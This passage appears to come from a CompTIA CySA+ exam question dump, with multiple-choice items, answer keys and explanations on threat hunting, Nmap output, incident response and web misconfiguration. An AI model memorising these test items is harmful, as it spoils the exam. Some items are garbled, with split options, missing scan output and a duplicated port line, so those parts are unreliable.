Which of the following actions should the hunter perform first based on the details above?

- A. Acquire a copy of taskhw.exe from the impacted host
- B. Scan the enterprise to identify other systems with taskhw.exe present
- C. Perform a public search for malware reports on taskhw.exe.
- D. Change the account that runs the -caskh
- E. exe scheduled task

Answer: C

Explanation:

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

NEW QUESTION 140

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:

```
Nmap scan report for officerokuplayer.lan (192.168.86.22)
Host is up (0.11s latency).
All 100 scanned ports on officerokuplayer.lan (192.168.86.22) are filtered
MAC Address: B8:3E:59:86:1A:13 (Roku)

Nmap scan report for p4wnp1_aloa.lan (192.168.86.56)
Host is up (0.022s latency).
Not shown: 96 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
8000/tcp  open  http-alt
MAC Address: B8:27:EB:D0:8E:D1 (Raspberry Pi Foundation)

Nmap scan report for wh4dc-748gy.lan (192.168.86.152)
Host is up (0.033s latency).
Not shown: 95 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 38:BA:F8:E3:41:CB (Intel Corporate)

Nmap scan report for xlaptop.lan (192.168.86.249)
Host is up (0.024s latency).
Not shown: 93 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 64:00:6A:8E:D8:F5 (Dell)

Nmap scan report for imaging.lan (192.168.86.150)
Host is up (0.0013s latency).
Not shown: 95 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 38:BA:F8:F4:32:CA (Intel Corporate)
```

Which of the following choices should the analyst look at first?

- A. wh4dc-748gy.lan (192.168.86.152)
- B. lan (192.168.86.22)
- C. imaging.lan (192.168.86.150)
- D. xlaptop.lan (192.168.86.249)
- E. p4wnp1_aloa.lan (192.168.86.56)

Answer: E

Explanation:

The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. Official References: https://github.com/mame82/P4wnP1_aloa

NEW QUESTION 145

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

- A. Shut the network down immediately and call the next person in the chain of command.
- B. Determine what attack the odd characters are indicative of

- C. Utilize the correct attack framework and determine what the incident response will consist of.
- D. Notify the local law enforcement for incident response

Answer: B

Explanation:

Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

NEW QUESTION 147

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:



Which of the following tuning recommendations should the security analyst share?

- A. Set an Http Only flag to force communication by HTTPS.
- B. Block requests without an X-Frame-Options header.
- C. Configure an Access-Control-Allow-Origin header to authorized domains.
- D. Disable the cross-origin resource sharing header.

Answer: C

Explanation:

The output shows that the web application has a cross-origin resource sharing (CORS) header that allows any origin to access its resources. This is a security misconfiguration that could allow malicious websites to make requests to the web application on behalf of the user and access sensitive data or perform unauthorized actions. The tuning recommendation is to configure the Access-Control-Allow-Origin header to only allow authorized domains that need to access the web application's resources. This would prevent unauthorized cross-origin requests and reduce the risk of cross-site request forgery (CSRF) attacks.

Reference: OWASP Top Ten | OWASP Foundation

NEW QUESTION 150

Two employees in the finance department installed a freeware application that contained embedded malware. The network is robustly segmented based on areas of responsibility. These computers had critical sensitive information stored locally that needs to be recovered. The department manager advised all department employees to turn off their computers until the security team could be contacted about the issue. Which of the following is the first step the incident response staff members should take when they arrive?

- A. Turn on all systems, scan for infection, and back up data to a USB storage device.
- B. Identify and remove the software installed on the impacted systems in the department.
- C. Explain that malware cannot truly be removed and then reimage the devices.
- D. Log on to the impacted systems with an administrator account that has privileges to perform backups.
- E. Segment the entire department from the network and review each computer offline.

Answer: E

Explanation:

Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and determine the best course of action for recovery. Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also compromise the USB storage device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems with an administrator account that has privileges to perform backups is a dangerous step, as it can

expose the administrator credentials and privileges to the malware, and allow it to escalate its access and capabilities³⁴. References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device, How to Remove Malware From Your PC | PCMag

NEW QUESTION 151

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?

- A. Exploitation
- B. Reconnaissance
- C. Command and control
- D. Actions on objectives

Answer: B

Explanation:

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: <https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>

NEW QUESTION 154

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

- A. SIEM
- B. CASB
- C. SOAR
- D. EDR

Answer: D

Explanation:

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/>

NEW QUESTION 155

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?

- A. Any discovered vulnerabilities will not be remediated.
- B. An outage of machinery would cost the organization money.
- C. Support will not be available for the critical machinery
- D. There are no compensating controls in place for the OS.

Answer: A

Explanation:

A security analyst's concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst's role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

NEW QUESTION 157

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